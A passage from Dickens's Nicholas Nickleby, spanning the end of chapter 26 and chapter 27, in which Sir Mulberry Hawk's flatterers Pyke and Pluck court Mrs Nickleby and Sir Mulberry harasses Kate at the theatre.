a nine--no, beginning with a nine, and ending with a +nought, that was it, and of course the stamp-office people would +know at once whether it was a coach or a chariot if any inquiries +were made there--however that was, there it was with a broken window +and there was I for six weeks with a swelled face--I think that was +the very same hackney coach, that we found out afterwards, had the +top open all the time, and we should never even have known it, if +they hadn't charged us a shilling an hour extra for having it open, +which it seems is the law, or was then, and a most shameful law it +appears to be--I don't understand the subject, but I should say the +Corn Laws could be nothing to THAT act of Parliament.' + +Having pretty well run herself out by this time, Mrs Nickleby +stopped as suddenly as she had started off; and repeated that Kate +was quite well. 'Indeed,' said Mrs Nickleby, 'I don't think she +ever was better, since she had the hooping-cough, scarlet-fever, and +measles, all at the same time, and that's the fact.' + +'Is that letter for me?' growled Ralph, pointing to the little +packet Mrs Nickleby held in her hand. + +'For you, brother-in-law,' replied Mrs Nickleby, 'and I walked all +the way up here on purpose to give it you.' + +'All the way up here!' cried Sir Mulberry, seizing upon the chance +of discovering where Mrs Nickleby had come from. 'What a confounded +distance! How far do you call it now?' + +'How far do I call it?' said Mrs Nickleby. 'Let me see. It's just +a mile from our door to the Old Bailey.' + +'No, no. Not so much as that,' urged Sir Mulberry. + +'Oh! It is indeed,' said Mrs Nickleby. 'I appeal to his lordship.' + +'I should decidedly say it was a mile,' remarked Lord Frederick, +with a solemn aspect. + +'It must be; it can't be a yard less,' said Mrs Nickleby. 'All +down Newgate Street, all down Cheapside, all up Lombard Street, down +Gracechurch Street, and along Thames Street, as far as Spigwiffin's +Wharf. Oh! It's a mile.' + +'Yes, on second thoughts I should say it was,' replied Sir Mulberry. +'But you don't surely mean to walk all the way back?' + +'Oh, no,' rejoined Mrs Nickleby. 'I shall go back in an omnibus. I +didn't travel about in omnibuses, when my poor dear Nicholas was +alive, brother-in-law. But as it is, you know--' + +'Yes, yes,' replied Ralph impatiently, 'and you had better get back +before dark.' + +'Thank you, brother-in-law, so I had,' returned Mrs Nickleby. 'I +think I had better say goodbye, at once.' + +'Not stop and--rest?' said Ralph, who seldom offered refreshments +unless something was to be got by it. + +'Oh dear me no,' returned Mrs Nickleby, glancing at the dial. + +'Lord Frederick,' said Sir Mulberry, 'we are going Mrs Nickleby's +way. We'll see her safe to the omnibus?' + +'By all means. Ye-es.' + +'Oh! I really couldn't think of it!' said Mrs Nickleby. + +But Sir Mulberry Hawk and Lord Verisopht were peremptory in their +politeness, and leaving Ralph, who seemed to think, not unwisely, +that he looked less ridiculous as a mere spectator, than he would +have done if he had taken any part in these proceedings, they +quitted the house with Mrs Nickleby between them; that good lady in +a perfect ecstasy of satisfaction, no less with the attentions shown +her by two titled gentlemen, than with the conviction that Kate +might now pick and choose, at least between two large fortunes, and +most unexceptionable husbands. + +As she was carried away for the moment by an irresistible train of +thought, all connected with her daughter's future greatness, Sir +Mulberry Hawk and his friend exchanged glances over the top of the +bonnet which the poor lady so much regretted not having left at +home, and proceeded to dilate with great rapture, but much respect +on the manifold perfections of Miss Nickleby. + +'What a delight, what a comfort, what a happiness, this amiable +creature must be to you,' said Sir Mulberry, throwing into his voice +an indication of the warmest feeling. + +'She is indeed, sir,' replied Mrs Nickleby; 'she is the sweetest- +tempered, kindest-hearted creature--and so clever!' + +'She looks clayver,' said Lord Verisopht, with the air of a judge of +cleverness. + +'I assure you she is, my lord,' returned Mrs Nickleby. 'When she +was at school in Devonshire, she was universally allowed to be +beyond all exception the very cleverest girl there, and there were a +great many very clever ones too, and that's the truth--twenty-five +young ladies, fifty guineas a year without the et-ceteras, both the +Miss Dowdles the most accomplished, elegant, fascinating creatures-- +Oh dear me!' said Mrs Nickleby, 'I never shall forget what pleasure +she used to give me and her poor dear papa, when she was at that +school, never--such a delightful letter every half-year, telling us +that she was the first pupil in the whole establishment, and had +made more progress than anybody else! I can scarcely bear to think +of it even now. The girls wrote all the letters themselves,' added +Mrs Nickleby, 'and the writing-master touched them up afterwards +with a magnifying glass and a silver pen; at least I think they +wrote them, though Kate was never quite certain about that, because +she didn't know the handwriting of hers again; but anyway, I know it +was a circular which they all copied, and of course it was a very +gratifying thing--very gratifying.' + +With similar recollections Mrs Nickleby beguiled the tediousness of +the way, until they reached the omnibus, which the extreme +politeness of her new friends would not allow them to leave until it +actually started, when they took their hats, as Mrs Nickleby +solemnly assured her hearers on many subsequent occasions, +'completely off,' and kissed their straw-coloured kid gloves till +they were no longer visible. + +Mrs Nickleby leant back in the furthest corner of the conveyance, +and, closing her eyes, resigned herself to a host of most pleasing +meditations. Kate had never said a word about having met either of +these gentlemen; 'that,' she thought, 'argues that she is strongly +prepossessed in favour of one of them.' Then the question arose, +which one could it be. The lord was the youngest, and his title was +certainly the grandest; still Kate was not the girl to be swayed by +such considerations as these. 'I will never put any constraint upon +her inclinations,' said Mrs Nickleby to herself; 'but upon my word I +think there's no comparison between his lordship and Sir Mulberry-- +Sir Mulberry is such an attentive gentlemanly creature, so much +manner, such a fine man, and has so much to say for himself. I hope +it's Sir Mulberry--I think it must be Sir Mulberry!' And then her +thoughts flew back to her old predictions, and the number of times +she had said, that Kate with no fortune would marry better than +other people's daughters with thousands; and, as she pictured with +the brightness of a mother's fancy all the beauty and grace of the +poor girl who had struggled so cheerfully with her new life of +hardship and trial, her heart grew too full, and the tears trickled +down her face. + +Meanwhile, Ralph walked to and fro in his little back-office, +troubled in mind by what had just occurred. To say that Ralph loved +or cared for--in the most ordinary acceptation of those terms--any +one of God's creatures, would be the wildest fiction. Still, there +had somehow stolen upon him from time to time a thought of his niece +which was tinged with compassion and pity; breaking through the dull +cloud of dislike or indifference which darkened men and women in his +eyes, there was, in her case, the faintest gleam of light--a most +feeble and sickly ray at the best of times--but there it was, and it +showed the poor girl in a better and purer aspect than any in which +he had looked on human nature yet. + +'I wish,' thought Ralph, 'I had never done this. And yet it will +keep this boy to me, while there is money to be made. Selling a +girl--throwing her in the way of temptation, and insult, and coarse +speech. Nearly two thousand pounds profit from him already though. +Pshaw! match-making mothers do the same thing every day.' + +He sat down, and told the chances, for and against, on his fingers. + +'If I had not put them in the right track today,' thought Ralph, +'this foolish woman would have done so. Well. If her daughter is +as true to herself as she should be from what I have seen, what harm +ensues? A little teasing, a little humbling, a few tears. Yes,' +said Ralph, aloud, as he locked his iron safe. 'She must take her +chance. She must take her chance.' + + + +CHAPTER 27 + +Mrs Nickleby becomes acquainted with Messrs Pyke and Pluck, whose +Affection and Interest are beyond all Bounds + + +Mrs Nickleby had not felt so proud and important for many a day, as +when, on reaching home, she gave herself wholly up to the pleasant +visions which had accompanied her on her way thither. Lady Mulberry +Hawk--that was the prevalent idea. Lady Mulberry Hawk!--On Tuesday +last, at St George's, Hanover Square, by the Right Reverend the +Bishop of Llandaff, Sir Mulberry Hawk, of Mulberry Castle, North +Wales, to Catherine, only daughter of the late Nicholas Nickleby, +Esquire, of Devonshire. 'Upon my word!' cried Mrs Nicholas +Nickleby, 'it sounds very well.' + +Having dispatched the ceremony, with its attendant festivities, to +the perfect satisfaction of her own mind, the sanguine mother +pictured to her imagination a long train of honours and distinctions +which could not fail to accompany Kate in her new and brilliant +sphere. She would be presented at court, of course. On the +anniversary of her birthday, which was upon the nineteenth of July +('at ten minutes past three o'clock in the morning,' thought Mrs +Nickleby in a parenthesis, 'for I recollect asking what o'clock it +was'), Sir Mulberry would give a great feast to all his tenants, and +would return them three and a half per cent on the amount of their +last half-year's rent, as would be fully described and recorded in +the fashionable intelligence, to the immeasurable delight and +admiration of all the readers thereof. Kate's picture, too, would +be in at least half-a-dozen of the annuals, and on the opposite page +would appear, in delicate type, 'Lines on contemplating the Portrait +of Lady Mulberry Hawk. By Sir Dingleby Dabber.' Perhaps some one +annual, of more comprehensive design than its fellows, might even +contain a portrait of the mother of Lady Mulberry Hawk, with lines +by the father of Sir Dingleby Dabber. More unlikely things had come +to pass. Less interesting portraits had appeared. As this thought +occurred to the good lady, her countenance unconsciously assumed +that compound expression of simpering and sleepiness which, being +common to all such portraits, is perhaps one reason why they are +always so charming and agreeable. + +With such triumphs of aerial architecture did Mrs Nickleby occupy +the whole evening after her accidental introduction to Ralph's +titled friends; and dreams, no less prophetic and equally promising, +haunted her sleep that night. She was preparing for her frugal +dinner next day, still occupied with the same ideas--a little +softened down perhaps by sleep and daylight--when the girl who +attended her, partly for company, and partly to assist in the +household affairs, rushed into the room in unwonted agitation, and +announced that two gentlemen were waiting in the passage for +permission to walk upstairs. + +'Bless my heart!' cried Mrs Nickleby, hastily arranging her cap and +front, 'if it should be--dear me, standing in the passage all this +time--why don't you go and ask them to walk up, you stupid thing?' + +While the girl was gone on this errand, Mrs Nickleby hastily swept +into a cupboard all vestiges of eating and drinking; which she had +scarcely done, and seated herself with looks as collected as she +could assume, when two gentlemen, both perfect strangers, presented +themselves. + +'How do you DO?' said one gentleman, laying great stress on the last +word of the inquiry. + +'HOW do you do?' said the other gentleman, altering the emphasis, as +if to give variety to the salutation. + +Mrs Nickleby curtseyed and smiled, and curtseyed again, and +remarked, rubbing her hands as she did so, that she hadn't the-- +really--the honour to-- + +'To know us,' said the first gentleman. 'The loss has been ours, +Mrs Nickleby. Has the loss been ours, Pyke?' + +'It has, Pluck,' answered the other gentleman. + +'We have regretted it very often, I believe, Pyke?' said the first +gentleman. + +'Very often, Pluck,' answered the second. + +'But now,' said the first gentleman, 'now we have the happiness we +have pined and languished for. Have we pined and languished for +this happiness, Pyke, or have we not?' + +'You know we have, Pluck,' said Pyke, reproachfully. + +'You hear him, ma'am?' said Mr Pluck, looking round; 'you hear the +unimpeachable testimony of my friend Pyke--that reminds me,-- +formalities, formalities, must not be neglected in civilised +society. Pyke--Mrs Nickleby.' + +Mr Pyke laid his hand upon his heart, and bowed low. + +'Whether I shall introduce myself with the same formality,' said Mr +Pluck--'whether I shall say myself that my name is Pluck, or whether +I shall ask my friend Pyke (who being now regularly introduced, is +competent to the office) to state for me, Mrs Nickleby, that my name +is Pluck; whether I shall claim your acquaintance on the plain +ground of the strong interest I take in your welfare, or whether I +shall make myself known to you as the friend of Sir Mulberry Hawk-- +these, Mrs Nickleby, are considerations which I leave to you to +determine.' + + 'Any friend of Sir Mulberry Hawk's requires no better introduction +to me,' observed Mrs Nickleby, graciously. + + 'It is delightful to hear you say so,' said Mr Pluck, drawing a +chair close to Mrs Nickleby, and sitting himself down. 'It is +refreshing to know that you hold my excellent friend, Sir Mulberry, +in such high esteem. A word in your ear, Mrs Nickleby. When Sir +Mulberry knows it, he will be a happy man--I say, Mrs Nickleby, a +happy man. Pyke, be seated.' + +'MY good opinion,' said Mrs Nickleby, and the poor lady exulted in +the idea that she was marvellously sly,--'my good opinion can be of +very little consequence to a gentleman like Sir Mulberry.' + +'Of little consequence!' exclaimed Mr Pluck. 'Pyke, of what +consequence to our friend, Sir Mulberry, is the good opinion of Mrs +Nickleby?' + +'Of what consequence?' echoed Pyke. + +'Ay,' repeated Pluck; 'is it of the greatest consequence?' + +'Of the very greatest consequence,' replied Pyke. + +'Mrs Nickleby cannot be ignorant,' said Mr Pluck, 'of the immense +impression which that sweet girl has--' + +'Pluck!' said his friend, 'beware!' + +'Pyke is right,' muttered Mr Pluck, after a short pause; 'I was not +to mention it. Pyke is very right. Thank you, Pyke.' + +'Well now, really,' thought Mrs Nickleby within herself. 'Such +delicacy as that, I never saw!' + +Mr Pluck, after feigning to be in a condition of great embarrassment +for some minutes, resumed the conversation by entreating Mrs +Nickleby to take no heed of what he had inadvertently said--to +consider him imprudent, rash, injudicious. The only stipulation he +would make in his own favour was, that she should give him credit +for the best intentions. + +'But when,' said Mr Pluck, 'when I see so much sweetness and beauty +on the one hand, and so much ardour and devotion on the other, I-- +pardon me, Pyke, I didn't intend to resume that theme. Change the +subject, Pyke.' + +'We promised Sir Mulberry and Lord Frederick,' said Pyke, 'that we'd +call this morning and inquire whether you took any cold last night.' + +'Not the least in the world last night, sir,' replied Mrs Nickleby, +'with many thanks to his lordship and Sir Mulberry for doing me the +honour to inquire; not the least--which is the more singular, as I +really am very subject to colds, indeed--very subject. I had a cold +once,' said Mrs Nickleby, 'I think it was in the year eighteen +hundred and seventeen; let me see, four and five are nine, and--yes, +eighteen hundred and seventeen, that I thought I never should get +rid of; actually and seriously, that I thought I never should get +rid of. I was only cured at last by a remedy that I don't know +whether you ever happened to hear of, Mr Pluck. You have a gallon +of water as hot as you can possibly bear it, with a pound of salt, +and sixpen'orth of the finest bran, and sit with your head in it for +twenty minutes every night just before going to bed; at least, I +don't mean your head--your feet. It's a most extraordinary cure--a +most extraordinary cure. I used it for the first time, I recollect, +the day after Christmas Day, and by the middle of April following +the cold was gone. It seems quite a miracle when you come to think +of it, for I had it ever since the beginning of September.' + +'What an afflicting calamity!' said Mr Pyke. + +'Perfectly horrid!' exclaimed Mr Pluck. + +'But it's worth the pain of hearing, only to know that Mrs Nickleby +recovered it, isn't it, Pluck?' cried Mr Pyke. + +'That is the circumstance which gives it such a thrilling interest,' +replied Mr Pluck. + +'But come,' said Pyke, as if suddenly recollecting himself; 'we must +not forget our mission in the pleasure of this interview. We come +on a mission, Mrs Nickleby.' + +'On a mission,' exclaimed that good lady, to whose mind a definite +proposal of marriage for Kate at once presented itself in lively +colours. + +'From Sir Mulberry,' replied Pyke. 'You must be very dull here.' + +'Rather dull, I confess,' said Mrs Nickleby. + +'We bring the compliments of Sir Mulberry Hawk, and a thousand +entreaties that you'll take a seat in a private box at the play +tonight,' said Mr Pluck. + +'Oh dear!' said Mrs Nickleby, 'I never go out at all, never.' + +'And that is the very reason, my dear Mrs Nickleby, why you should +go out tonight,' retorted Mr Pluck. 'Pyke, entreat Mrs Nickleby.' + +'Oh, pray do,' said Pyke. + +'You positively must,' urged Pluck. + +'You are very kind,' said Mrs Nickleby, hesitating; 'but--' + +'There's not a but in the case, my dear Mrs Nickleby,' remonstrated +Mr Pluck; 'not such a word in the vocabulary. Your brother-in-law +joins us, Lord Frederick joins us, Sir Mulberry joins us, Pyke joins +us--a refusal is out of the question. Sir Mulberry sends a +carriage for you--twenty minutes before seven to the moment--you'll +not be so cruel as to disappoint the whole party, Mrs Nickleby?' + +'You are so very pressing, that I scarcely know what to say,' +replied the worthy lady. + +'Say nothing; not a word, not a word, my dearest madam,' urged Mr +Pluck. 'Mrs Nickleby,' said that excellent gentleman, lowering his +voice, 'there is the most trifling, the most excusable breach of +confidence in what I am about to say; and yet if my friend Pyke +there overheard it--such is that man's delicate sense of honour, Mrs +Nickleby--he'd have me out before dinner-time.' + +Mrs Nickleby cast an apprehensive glance at the warlike Pyke, who +had walked to the window; and Mr Pluck, squeezing her hand, went on: + +'Your daughter has made a conquest--a conquest on which I may +congratulate you. Sir Mulberry, my dear ma'am, Sir Mulberry is her +devoted slave. Hem!' + +'Hah!' cried Mr Pyke at this juncture, snatching something from the +chimney-piece with a theatrical air. 'What is this! what do I +behold!' + +'What DO you behold, my dear fellow?' asked Mr Pluck. + +'It is the face, the countenance, the expression,' cried Mr Pyke, +falling into his chair with a miniature in his hand; 'feebly +portrayed, imperfectly caught, but still THE face, THE countenance, +THE expression.' + +'I recognise it at this distance!' exclaimed Mr Pluck in a fit of +enthusiasm. 'Is it not, my dear madam, the faint similitude of--' + +'It is my daughter's portrait,' said Mrs Nickleby, with great pride. +And so it was. And little Miss La Creevy had brought it home for +inspection only two nights before. + +Mr Pyke no sooner ascertained that he was quite right in his +conjecture, than he launched into the most extravagant encomiums of +the divine original; and in the warmth of his enthusiasm kissed the +picture a thousand times, while Mr Pluck pressed Mrs Nickleby's hand +to his heart, and congratulated her on the possession of such a +daughter, with so much earnestness and affection, that the tears +stood, or seemed to stand, in his eyes. Poor Mrs Nickleby, who had +listened in a state of enviable complacency at first, became at +length quite overpowered by these tokens of regard for, and +attachment to, the family; and even the servant girl, who had peeped +in at the door, remained rooted to the spot in astonishment at the +ecstasies of the two friendly visitors. + +By degrees these raptures subsided, and Mrs Nickleby went on to +entertain her guests with a lament over her fallen fortunes, and a +picturesque account of her old house in the country: comprising a +full description of the different apartments, not forgetting the +little store-room, and a lively recollection of how many steps you +went down to get into the garden, and which way you turned when you +came out at the parlour door, and what capital fixtures there were +in the kitchen. This last reflection naturally conducted her into +the wash-house, where she stumbled upon the brewing utensils, among +which she might have wandered for an hour, if the mere mention of +those implements had not, by an association of ideas, instantly +reminded Mr Pyke that he was 'amazing thirsty.' + +'And I'll tell you what,' said Mr Pyke; 'if you'll send round to the +public-house for a pot of milk half-and-half, positively and +actually I'll drink it.' + +And positively and actually Mr Pyke DID drink it, and Mr Pluck +helped him, while Mrs Nickleby looked on in divided admiration of +the condescension of the two, and the aptitude with which they +accommodated themselves to the pewter-pot; in explanation of which +seeming marvel it may be here observed, that gentlemen who, like +Messrs Pyke and Pluck, live upon their wits (or not so much, +perhaps, upon the presence of their own wits as upon the absence of +wits in other people) are occasionally reduced to very narrow shifts +and straits, and are at such periods accustomed to regale themselves +in a very simple and primitive manner. + +'At twenty minutes before seven, then,' said Mr Pyke, rising, 'the +coach will be here. One more look--one little look--at that sweet +face. Ah! here it is. Unmoved, unchanged!' This, by the way, was a +very remarkable circumstance, miniatures being liable to so many +changes of expression--'Oh, Pluck! Pluck!' + +Mr Pluck made no other reply than kissing Mrs Nickleby's hand with a +great show of feeling and attachment; Mr Pyke having done the same, +both gentlemen hastily withdrew. + +Mrs Nickleby was commonly in the habit of giving herself credit for +a pretty tolerable share of penetration and acuteness, but she had +never felt so satisfied with her own sharp-sightedness as she did +that day. She had found it all out the night before. She had never +seen Sir Mulberry and Kate together--never even heard Sir Mulberry's +name--and yet hadn't she said to herself from the very first, that +she saw how the case stood? and what a triumph it was, for there +was now no doubt about it. If these flattering attentions to +herself were not sufficient proofs, Sir Mulberry's confidential +friend had suffered the secret to escape him in so many words. 'I +am quite in love with that dear Mr Pluck, I declare I am,' said Mrs +Nickleby. + +There was one great source of uneasiness in the midst of this good +fortune, and that was the having nobody by, to whom she could +confide it. Once or twice she almost resolved to walk straight to +Miss La Creevy's and tell it all to her. 'But I don't know,' +thought Mrs Nickleby; 'she is a very worthy person, but I am afraid +too much beneath Sir Mulberry's station for us to make a companion +of. Poor thing!' Acting upon this grave consideration she rejected +the idea of taking the little portrait painter into her confidence, +and contented herself with holding out sundry vague and mysterious +hopes of preferment to the servant girl, who received these obscure +hints of dawning greatness with much veneration and respect. + +Punctual to its time came the promised vehicle, which was no hackney +coach, but a private chariot, having behind it a footman, whose +legs, although somewhat large for his body, might, as mere abstract +legs, have set themselves up for models at the Royal Academy. It +was quite exhilarating to hear the clash and bustle with which he +banged the door and jumped up behind after Mrs Nickleby was in; and +as that good lady was perfectly unconscious that he applied the +gold-headed end of his long stick to his nose, and so telegraphed +most disrespectfully to the coachman over her very head, she sat in +a state of much stiffness and dignity, not a little proud of her +position. + +At the theatre entrance there was more banging and more bustle, and +there were also Messrs Pyke and Pluck waiting to escort her to her +box; and so polite were they, that Mr Pyke threatened with many +oaths to 'smifligate' a very old man with a lantern who accidentally +stumbled in her way--to the great terror of Mrs Nickleby, who, +conjecturing more from Mr Pyke's excitement than any previous +acquaintance with the etymology of the word that smifligation and +bloodshed must be in the main one and the same thing, was alarmed +beyond expression, lest something should occur. Fortunately, +however, Mr Pyke confined himself to mere verbal smifligation, and +they reached their box with no more serious interruption by the way, +than a desire on the part of the same pugnacious gentleman to +'smash' the assistant box-keeper for happening to mistake the +number. + +Mrs Nickleby had scarcely been put away behind the curtain of the +box in an armchair, when Sir Mulberry and Lord Verisopht arrived, +arrayed from the crowns of their heads to the tips of their gloves, +and from the tips of their gloves to the toes of their boots, in the +most elegant and costly manner. Sir Mulberry was a little hoarser +than on the previous day, and Lord Verisopht looked rather sleepy +and queer; from which tokens, as well as from the circumstance of +their both being to a trifling extent unsteady upon their legs, Mrs +Nickleby justly concluded that they had taken dinner. + +'We have been--we have been--toasting your lovely daughter, Mrs +Nickleby,' whispered Sir Mulberry, sitting down behind her. + +'Oh, ho!' thought that knowing lady; 'wine in, truth out.--You are +very kind, Sir Mulberry.' + +'No, no upon my soul!' replied Sir Mulberry Hawk. 'It's you that's +kind, upon my soul it is. It was so kind of you to come tonight.' + +'So very kind of you to invite me, you mean, Sir Mulberry,' replied +Mrs Nickleby, tossing her head, and looking prodigiously sly. + +'I am so anxious to know you, so anxious to cultivate your good +opinion, so desirous that there should be a delicious kind of +harmonious family understanding between us,' said Sir Mulberry, +'that you mustn't think I'm disinterested in what I do. I'm +infernal selfish; I am--upon my soul I am.' + +'I am sure you can't be selfish, Sir Mulberry!' replied Mrs +Nickleby. 'You have much too open and generous a countenance for +that.' + +'What an extraordinary observer you are!' said Sir Mulberry Hawk. + +'Oh no, indeed, I don't see very far into things, Sir Mulberry,' +replied Mrs Nickleby, in a tone of voice which left the baronet to +infer that she saw very far indeed. + +'I am quite afraid of you,' said the baronet. 'Upon my soul,' +repeated Sir Mulberry, looking round to his companions; 'I am afraid +of Mrs Nickleby. She is so immensely sharp.' + +Messrs Pyke and Pluck shook their heads mysteriously, and observed +together that they had found that out long ago; upon which Mrs +Nickleby tittered, and Sir Mulberry laughed, and Pyke and Pluck +roared. + +'But where's my brother-in-law, Sir Mulberry?' inquired Mrs +Nickleby. 'I shouldn't be here without him. I hope he's coming.' + +'Pyke,' said Sir Mulberry, taking out his toothpick and lolling back +in his chair, as if he were too lazy to invent a reply to this +question. 'Where's Ralph Nickleby?' + +'Pluck,' said Pyke, imitating the baronet's action, and turning the +lie over to his friend, 'where's Ralph Nickleby?' + +Mr Pluck was about to return some evasive reply, when the hustle +caused by a party entering the next box seemed to attract the +attention of all four gentlemen, who exchanged glances of much +meaning. The new party beginning to converse together, Sir Mulberry +suddenly assumed the character of a most attentive listener, and +implored his friends not to breathe--not to breathe. + +'Why not?' said Mrs Nickleby. 'What is the matter?' + +'Hush!' replied Sir Mulberry, laying his hand on her arm. 'Lord +Frederick, do you recognise the tones of that voice?' + +'Deyvle take me if I didn't think it was the voice of Miss +Nickleby.' + +'Lor, my lord!' cried Miss Nickleby's mama, thrusting her head +round the curtain. 'Why actually--Kate, my dear, Kate.' + +'YOU here, mama! Is it possible!' + +'Possible, my dear? Yes.' + +'Why who--who on earth is that you have with you, mama?' said Kate, +shrinking back as she caught sight of a man smiling and kissing his +hand. + +'Who do you suppose, my dear?' replied Mrs Nickleby, bending towards +Mrs Wititterly, and speaking a little louder for that lady's +edification. 'There's Mr Pyke, Mr Pluck, Sir Mulberry Hawk, and +Lord Frederick Verisopht.' + +'Gracious Heaven!' thought Kate hurriedly. 'How comes she in such +society?' + +Now, Kate thought thus SO hurriedly, and the surprise was so great, +and moreover brought back so forcibly the recollection of what had +passed at Ralph's delectable dinner, that she turned extremely pale +and appeared greatly agitated, which symptoms being observed by Mrs +Nickleby, were at once set down by that acute lady as being caused +and occasioned by violent love. But, although she was in no small +degree delighted by this discovery, which reflected so much credit +on her own quickness of perception, it did not lessen her motherly +anxiety in Kate's behalf; and accordingly, with a vast quantity of +trepidation, she quitted her own box to hasten into that of Mrs +Wititterly. Mrs Wititterly, keenly alive to the glory of having a +lord and a baronet among her visiting acquaintance, lost no time in +signing to Mr Wititterly to open the door, and thus it was that in +less than thirty seconds Mrs Nickleby's party had made an irruption +into Mrs Wititterly's box, which it filled to the very door, there +being in fact only room for Messrs Pyke and Pluck to get in their +heads and waistcoats. + +'My dear Kate,' said Mrs Nickleby, kissing her daughter +affectionately. 'How ill you looked a moment ago! You quite +frightened me, I declare!' + +'It was mere fancy, mama,--the--the--reflection of the lights +perhaps,' replied Kate, glancing nervously round, and finding it +impossible to whisper any caution or explanation. + +'Don't you see Sir Mulberry Hawk, my dear?' + +Kate bowed slightly, and biting her lip turned her head towards the +stage. + +But Sir Mulberry Hawk was not to be so easily repulsed, for he +advanced with extended hand; and Mrs Nickleby officiously informing +Kate of this circumstance, she was obliged to extend her own. Sir +Mulberry detained it while he murmured a profusion of compliments, +which Kate, remembering what had passed between them, rightly +considered as so many aggravations of the insult he had already put +upon her. Then followed the recognition of Lord Verisopht, and then +the greeting of Mr Pyke, and then that of Mr Pluck, and finally, to +complete the young lady's mortification, she was compelled at Mrs +Wititterly's request to perform the ceremony of introducing the +odious persons, whom she regarded with the utmost indignation and +abhorrence. + +'Mrs Wititterly is delighted,' said Mr Wititterly, rubbing his +hands; 'delighted, my lord, I am sure, with this opportunity of +contracting an acquaintance which, I trust, my lord, we shall +improve. Julia, my dear, you must not allow yourself to be too much +excited, you must not. Indeed you must not. Mrs Wititterly is of a +most excitable nature, Sir Mulberry. The snuff of a candle, the +wick of a lamp, the bloom on a peach, the down on a butterfly. You +might blow her away, my lord; you might blow her away.' + +Sir Mulberry seemed to think that it would be a great convenience if +the lady could be blown away. He said, however, that the delight +was mutual, and Lord Verisopht added that it was mutual, whereupon +Messrs Pyke and Pluck were heard to murmur from the distance that it +was very mutual indeed. + +'I take an interest, my lord,' said Mrs Wititterly, with a faint +smile, 'such an interest in the drama.' + +'Ye--es. It's very interesting,' replied Lord Verisopht. + +'I'm always ill after Shakespeare,' said Mrs Wititterly. 'I +scarcely exist the next day; I find the reaction so very great after +a tragedy, my lord, and Shakespeare is such a delicious creature.' + +'Ye--es!' replied Lord Verisopht. 'He was a clayver man.' + +'Do you know, my lord,' said Mrs Wititterly, after a long silence, +'I find I take so much more interest in his plays, after having been +to that dear little dull house he was born in! Were you ever there, +my lord?' + +'No, nayver,' replied Verisopht. + +'Then really you ought to go, my lord,' returned Mrs Wititterly, in +very languid and drawling accents. 'I don't know how it is, but +after you've seen the place and written your name in the little +book, somehow or other you seem to be inspired; it kindles up quite +a fire within one.' + +'Ye--es!' replied Lord Verisopht, 'I shall certainly go there.' + +'Julia, my life,' interposed Mr Wititterly, 'you are deceiving his +lordship--unintentionally, my lord, she is deceiving you. It is +your poetical temperament, my dear--your ethereal soul--your fervid +imagination, which throws you into a glow of genius and excitement. +There is nothing in the place, my dear--nothing, nothing.' + +'I think there must be something in the place,' said Mrs Nickleby, +who had been listening in silence; 'for, soon after I was married, I +went to Stratford with my poor dear Mr Nickleby, in a post-chaise +from Birmingham--was it a post-chaise though?' said Mrs Nickleby, +considering; 'yes, it must have been a post-chaise, because I +recollect remarking at the time that the driver had a green shade +over his left eye;--in a post-chaise from Birmingham, and after we +had seen Shakespeare's tomb and birthplace, we went back to the inn +there, where we slept that night, and I recollect that all night +long I dreamt of nothing but a black gentleman, at full length, in +plaster-of-Paris, with a lay-down collar tied with two tassels, +leaning against a post and thinking; and when I woke in the morning +and described him to Mr Nickleby, he said it was Shakespeare just as +he had been when he was alive, which was very curious indeed. +Stratford--Stratford,' continued Mrs Nickleby, considering. 'Yes, I +am positive about that, because I recollect I was in the family way +with my son Nicholas at the time, and I had been very much +frightened by an Italian image boy that very morning. In fact, it +was quite a mercy, ma'am,' added Mrs Nickleby, in a whisper to Mrs +Wititterly, 'that my son didn't turn out to be a Shakespeare, and +what a dreadful thing that would have been!' + +When Mrs Nickleby had brought this interesting anecdote to a close, +Pyke and Pluck, ever zealous in their patron's cause, proposed the +adjournment of a detachment of the party into the next box; and with +so much skill were the preliminaries adjusted, that Kate, despite +all she could say or do to the contrary, had no alternative but to +suffer herself to be led away by Sir Mulberry Hawk. Her mother and +Mr Pluck accompanied them, but the worthy lady, pluming herself upon +her discretion, took particular care not so much as to look at her +daughter during the whole evening, and to seem wholly absorbed in +the jokes and conversation of Mr Pluck, who, having been appointed +sentry over Mrs Nickleby for that especial purpose, neglected, on +his side, no possible opportunity of engrossing her attention. + +Lord Frederick Verisopht remained in the next box to be talked to by +Mrs Wititterly, and Mr Pyke was in attendance to throw in a word or +two when necessary. As to Mr Wititterly, he was sufficiently busy +in the body of the house, informing such of his friends and +acquaintance as happened to be there, that those two gentlemen +upstairs, whom they had seen in conversation with Mrs W., were the +distinguished Lord Frederick Verisopht and his most intimate friend, +the gay Sir Mulberry Hawk--a communication which inflamed several +respectable house-keepers with the utmost jealousy and rage, and +reduced sixteen unmarried daughters to the very brink of despair. + +The evening came to an end at last, but Kate had yet to be handed +downstairs by the detested Sir Mulberry; and so skilfully were the +manoeuvres of Messrs Pyke and Pluck conducted, that she and the +baronet were the last of the party, and were even--without an +appearance of effort or design--left at some little distance behind. + +'Don't hurry, don't hurry,' said Sir Mulberry, as Kate hastened on, +and attempted to release her arm. + +She made no reply, but still pressed forward. + +'Nay, then--' coolly observed Sir Mulberry, stopping her outright. + +'You had best not seek to detain me, sir!' said Kate, angrily. + +'And why not?' retorted Sir Mulberry. 'My dear creature, now why do +you keep up this show of displeasure?' + +'SHOW!' repeated Kate, indignantly. 'How dare you presume to speak +to me, sir--to address me--to come into my presence?' + +'You look prettier in a passion, Miss Nickleby,' said Sir Mulberry +Hawk, stooping down, the better to see her face. + +'I hold you in the bitterest detestation and contempt, sir,' said +Kate. 'If you find any attraction in looks of disgust and aversion, +you--let me rejoin my friends, sir, instantly. Whatever +considerations may have withheld me thus far, I will disregard them +all, and take a course that even YOU might feel, if you do not +immediately suffer me to proceed.' + +Sir Mulberry smiled, and still looking in her face and retaining her +arm, walked towards the door. + +'If no regard for my sex or helpless situation will induce you to +desist from this coarse and unmanly persecution,' said Kate, +scarcely knowing, in the tumult of her passions, what she said,--'I +have a brother who will resent it dearly, one day.' + +'Upon my soul!' exclaimed Sir Mulberry, as though quietly communing +with himself; passing his arm round her waist as he spoke, 'she +looks more beautiful, and I like her better in this mood, than when +her eyes are cast down, and she is in perfect repose!' + +How Kate reached the lobby where her friends were waiting she never +knew, but she hurried across it without at all regarding them, and +disengaged herself suddenly from her companion, sprang into the +coach, and throwing herself into its darkest corner burst into +tears. + +Messrs Pyke and Pluck, knowing their cue, at once threw the party +into great commotion by shouting for the carriages, and getting up a +violent quarrel with sundry inoffensive bystanders; in the midst of +which tumult they put the affrighted Mrs Nickleby in her chariot, +and having got her safely off, turned 